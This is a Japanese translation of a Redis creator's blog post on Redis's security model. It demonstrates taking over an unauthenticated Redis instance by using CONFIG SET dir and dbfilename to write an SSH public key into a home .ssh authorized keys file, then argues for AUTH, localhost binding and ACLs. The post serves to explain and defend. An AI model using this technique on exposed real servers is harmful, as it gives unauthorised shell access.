A few things about Redis security

Salvatore Sanfilippo

Redisのセキュリティについて二、三のこと

原文は Salvatore Sanfilippo により に公開されました。 このブログを購読する

【重要な追記】Redis 3.2ではprotected modeの実装によりセキュリティが改善されました。詳細はこちらをご覧ください: https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/

時々、Redisに関するセキュリティ報告を受け取ることがある。報告をもらえるのはありがたいことだが、奇妙なことに、その内容はたいていLuaサンドボックスの脱出や安全でない一時ファイルの作成といった問題に関するものだ。しかもそれは、外部に公開された場合には完全に安全ではないものとして設計されているソフトウェアについての話なのだ(セキュリティページ http://redis.io/topics/security で説明しているとおりだ http://redis.io/topics/security)。

とはいえ、こうしたバグ報告はしばしば有用でもある。なぜなら、一般的なソフトウェア、そしてRedis固有のセキュリティにも、異なるレベルが存在するからだ。データベースにアクセスできたとして、単にデータベース自体の内容を改ざんできるだけなのか、それともRedisが動作しているローカルシステム自体を侵害できてしまうのか、という違いがある。

あるシステムにおいて、特定のセキュリティ層がどれほど重要かは、そのセキュリティモデルによって決まる。そのシステムは、たとえばWebサーバーのように信頼できないユーザーがアクセスすることを想定して設計されているのか? ユーザーの種類ごとに異なる権限レベルが存在するのか?

Redisのセキュリティモデルはこうだ。「信頼できないクライアントにシステムへのアクセスを許すのは完全に危険です。外部からの保護はご自身で行ってください」。その理由は、基本的にRedisのユースケースの99.99%がサンドボックス化された環境の内側にあるからだ。セキュリティは複雑だ。セキュリティ機能を追加すれば複雑さが増す。0.01%のユースケースのために複雑さを増すのは得策ではない。もちろん、これは設計思想の問題なので、異論があっても当然だ。

問題は、セキュリティページで何を謳おうとも、意図せずインターネットに公開されているRedisインスタンスが大量に存在することだ。ユースケースとして外部クライアントからのアクセスが必要だからではない。単に、ファイアウォールによる保護やAUTHの有効化、ローカルクライアントのみがアクセスするなら127.0.0.1へのバインドといった対策を、誰もわざわざ行わなかったからだ。

せっかくだからRedisをクラックしてみよう、開発者である私には何の得にもならないただの遊びとして

Redisの「セキュリティモデル」を残酷な形で示すために、5分間の簡単な実験をしてみた。セキュリティページでは、Redisが公開された場合の重大な問題についてほのめかしている。そこにはこう書かれている。「しかし、CONFIGコマンドを使ってサーバーの設定を制御できることにより、クライアントはプログラムのワーキングディレクトリやダンプファイルの名前を変更できてしまう。これによりクライアントは任意のパスにRDBファイルを書き込むことが可能になるが、これは容易にRedisと同一ユーザーとして信頼できないコードを実行できる状態につながりかねないセキュリティ上の問題である」。

そこで私の実験は次のようなものだ。MacBook Air上でRedisインスタンスを起動する。コンピュータの設定は現状のまま一切いじらない。別のホストから、私のラップトップの侵害を試みるのだ。

まずは前提条件として、インスタンスにアクセスできるか確認してみよう。

$ telnet 192.168.1.11 6379
Trying 192.168.1.11...
Connected to 192.168.1.11.
Escape character is '^]'.
echo "Hey no AUTH required!"
$21
Hey no AUTH required!
quit
+OK
Connection closed by foreign host.

うまくいった。しかもAUTHは不要だ。パスワードが設定されていなければ、Redisは無防備な状態になる。こうした場合にできる最も単純なことは、任意のファイルを書き込むことだ。面白いことに、私のMacBook AirではたまたまSSHサーバーが動いている。~/ssh/authorized_keysに何かを書き込んでアクセスを得られないだろうか?

まずは新しいSSHキーを生成してみよう。

$ ssh-keygen -t rsa -C "[email protected]"
Generating public/private rsa key pair.
Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 [email protected]
The key's randomart image is:
+--[ RSA 2048]----+
|          .   O+.|
|       . o o..o*o|
|      = . + .+ . |
|     o B o    .  |
|    . o S    E . |
|     .        o  |
|                 |
|                 |
|                 |
+-----------------+

これでキーが手に入った。次に目指すのは、このキーをRedisサーバーのメモリに格納し、後でファイルへ転送することだ。その結果できるauthorized_keysファイルが依然として有効な形式であるようにする。RDBフォーマットを使ってこれを行おうとすると、出力がバイナリになり、理論上は文字列が圧縮される可能性もあるという問題がある。まあ、おそらく問題にはならないだろう。まずは、生成した公開SSHキーの前後に改行を入れてパディングしてみよう。

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

これでfoo.txtは、単に前後に改行を加えた公開鍵になった。この文字列をredis-cliを使ってRedisのメモリ内に書き込むことができる。

~~~~~~~~~~~~~~~~~~~
注意:以下の手順は、スクリプトキディが攻撃をコピー&ペーストできないように、些細な部分を変更してあります。この攻撃が公開された直後から、世界中でいくつものRedisインスタンスが侵害されたためです。
~~~~~~~~~~~~~~~~~~~

$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dbfilename "backup.rdb"
OK
192.168.1.11:6379> save
OK
(Ctrl+C)

$ redis-cli -h 192.168.1.11 echo flushall
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

よさそうだ。では、メモリの内容をauthorized_keysファイルにダンプするにはどうすればいいか? それは至って簡単だ。

$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dir /Users/antirez/.ssh/
OK
192.168.1.11:6379> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
192.168.1.11:6379> config set dbfilename "authorized.keys"
OK
192.168.1.11:6379> save
OK

この時点で、ターゲットのauthorized keysファイルはゴミだらけになっているはずだが、同時にこちらの公開鍵も含まれているはずだ。この文字列には単純なパターンがないため、RDBファイル内で圧縮された可能性は低い。sshは、完全に破損したファイルを何の問題もなく解析し、その中の唯一まともなエントリを受け入れるほど素直だろうか?

$ ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa':
Last login: Mon Nov  2 15:58:43 2015 from 192.168.1.10
~ ➤ hostname
Salvatores-MacBook-Air.local

答えはイエスだ。私はわずか5秒ほどで、Redisユーザーとして正規のシェルでアクセスすることに成功した。無防備なRedisインスタンスが、基本的に「要求に応じてこのファイルを書き込むサーバー」と化しているおかげであり、今回のケースでは、ほぼすべてが破損した鍵で構成され、ただ一つのエントリだけが正常なファイルへのアクセスをsshが厳格に拒否しなかったおかげでもある。とはいえ、ここでの問題はsshではない。一度ファイルが書き込めてしまえば、たとえバイナリのゴミが混ざっていても、遅かれ早かれ何らかの方法でシステムへのアクセスを得られてしまうのだ。

このクソみたいな状況をどう直すか?

我々は、Redisは公開されれば安全ではない、Redisのセキュリティモデルは許可された信頼できるクライアントからのみアクセスされることだと言っている。しかし残念ながら、それだけでは不十分だ。ユーザーは依然として無防備なまま運用してしまうし、さらに悪いことに、デプロイ時のミスに対する耐性を高めてRedisをより安全にすることと、単に開発用途や制限が不要な安全な環境で使っている人々にとってRedisを使いやすく保つことの間には、緊張関係が存在するのだ。

例を挙げよう。新しいバージョンのRedisでは、サンプルのredis.confはデフォルトで「bind 127.0.0.1」となっている。引数なしでサーバーを起動した場合は、依然としてすべてのインターフェースにバインドする。おそらく開発目的でRedisを動かしているであろうユーザーを煩わせたくないからだ。他のホストからの接続を許可するためだけにサンプルサーバーをわざわざ再設定しなければならないのは、気にしない人々のためにわずかなセキュリティを得るための代償としては、少々大きすぎる。しかし、多くのユーザーが設定のテンプレートとして使っているサンプルのredis.confは、デフォルトでlocalhostインターフェースにバインドするようになっている。これでデプロイ時のミスが少しでも減ることを願っている。

しかし、この対策はあまり効果的ではない。残念ながら、セキュリティを意識していないユーザーの多くは、127.0.0.1へのバインドが外部からのクライアント接続を妨げていることに気づくと、単にbindの行を削除して再起動してしまうからだ。そうなれば、また安全でない設定に逆戻りである。

基本的に問題は、次の3つの間で妥協点を見つけることにある。

  1. 自分が何をしているか分かっている人々にとって、煩わしさなくRedisにアクセスできるようにすること。
  2. 自分が何をしているか分かっていない人々にとって、Redisの危険性を少しでも減らすこと。
  3. 「マニュアルを読め」という理由で、私が「1」を「2」よりも優先してしまうバイアス。

問題を緩和するためのユーザーACL

Redisを外部から「隔離」するという概念に冗長性を持たせる一つの方法が、AUTHコマンドを使うことだ。仕組みは非常にシンプルで、Redisにパスワードを要求するよう設定し、クライアントは設定されたパスワードを使ってAUTHコマンドで認証する。メカニズムは単純だ。パスワードはハッシュ化されず、設定ファイルやアプリケーション内に平文で記述される。つまり共有シークレットのようなものだ。

これはTCP接続を盗聴したりアプリケーションサーバーを侵害したりするような相手に対する耐性はないが、無防備なRedisインスタンスをインターネット上に放置するという明白なミスに対しては、効果的なセキュリティ層となる。

AUTHについて、いくつか補足しておこう。

  1. Redisをオラクルとして使えば1秒間に多くのパスワードを試すことができるが、パスワードは人間の記憶に留めておく必要はなく、Redisの設定ファイルとクライアントの設定にだけあればいい。だから非常に長いものを選び、ブルートフォースが不可能なものにすべきだ。
  2. AUTHは接続確立時に送信され、まともなアプリケーションのほとんどは永続的な接続を持っているため、支払うコストはごくわずかだ。また、GETやSETと同様に実行が極めて高速で、ディスクや他の外部システムに触れることもない。
  3. 適切にサンドボックス化された環境であっても、優れた保護層となる。手違いでインスタンスが、インターネットに対してではなくとも、本来通信すべきでないクライアントに対して公開されてしまう可能性があるからだ。

より高いセキュリティを得るためにはAUTHを進化させることが正しい道筋かもしれない。そこで以前、Redisに「本物のユーザー」を追加する提案を公開した: https://github.com/redis/redis-rcp/blob/master/RCP1.md

この提案は基本的にACLを持つユーザーを追加するものだ。動作方法や実行速度の点ではAUTHと非常によく似ているが、ユーザーごとに異なる権限を持つ。たとえば通常のユーザーはデフォルトで管理コマンドにアクセスできないため、「CONFIG SET dir」も実行できず、上記のようなエクスプロイトの問題も起きない。

デフォルトのユーザーは依然として通常のコマンドを実行できる(だからLuaサンドボックスについて送ってもらい、私が適用したパッチは確かに非常に有用だ)。そして管理コマンドを使うにはadminユーザーを設定する必要がある。ただ、Redisをより使いやすくするためにできることとして、常にパスワードが空の「admin」ユーザーを用意し、ループバックインターフェースからの接続であればそれを受け入れるようにするという案もある(ただし、この機能は無効化できるようにすべきだ)。

ACLは完璧ではないものの、一定の利点がある。Redisが適切な方法で、SSL経由でプロキシされてインターネットに公開されている場合、追加のアクセス制御層があることは非常に有用だ。ローカルクライアントしかいないためSSLを使っていない場合でも、クライアントに何を許可するかをよりきめ細かく制御して保護することにはいくつかの利点がある。たとえば、プログラミングや管理上のミスから保護できる。FLUSHALLやFLUSHDBを通常のユーザーには許可しないようにしたり、Redis監視サービス用のクライアントには選ばれた少数のコマンドのみを許可するユーザーを使わせたり、といった具合だ。

インスタンスの保護を気にしないユーザーは、依然として外部からアクセス可能なデータベースを持つことになるが、管理コマンドは使えない状態になる。これはデータベース内に含まれるデータという観点からは依然として安全ではないが、Redisインスタンスが動作しているシステムという観点からはより安全になる。

基本的に、デフォルトでユーザーフレンドリーでありつつ、パブリックIPアドレスにバインドされたインスタンスを立ち上げるようなユーザーの重大なセキュリティ上のミスに対して耐性を持たせる、という目標を達成することは不可能だ。しかし、Redisプロセスと同じ権限で信頼できないコードを実行できてしまう可能性のあるAPIのバグを修正し、より保守的なデフォルト設定を提供し、ACLを持つ複数ユーザーを実装することで、通常の、自分のやっていることを理解しているRedisユーザーにとっての使い勝手に大きな影響を与えることなく、現状のRedisのセキュリティを改善できるだろう。

さらにACLには、アプリケーション開発者がアプリケーションロジックの文脈において特定のクライアントの実際の制限に合致したユーザーを作成できるという利点もあり、ミスが大きな問題につながる可能性を低くできる。

このような単純なセキュリティ層でさえ欠点があるとすれば、複雑さが増すことだ。特にレプリケーションやRedis Sentinel、その他この新しい文脈で適切に動作するためにすべてが認証を意識しなければならないシステムにおいてはなおさらだ。しかし、おそらくこれは段階的に進めていくべき取り組みなのだろう。

Hacker News: https://news.ycombinator.com/item?id=10537852

Reddit: https://www.reddit.com/r/redis/comments/3rby8c/a_few_things_about_redis_security/

この記事は「muse-spark-1.2-contributor」を使用して翻訳されました。

コメント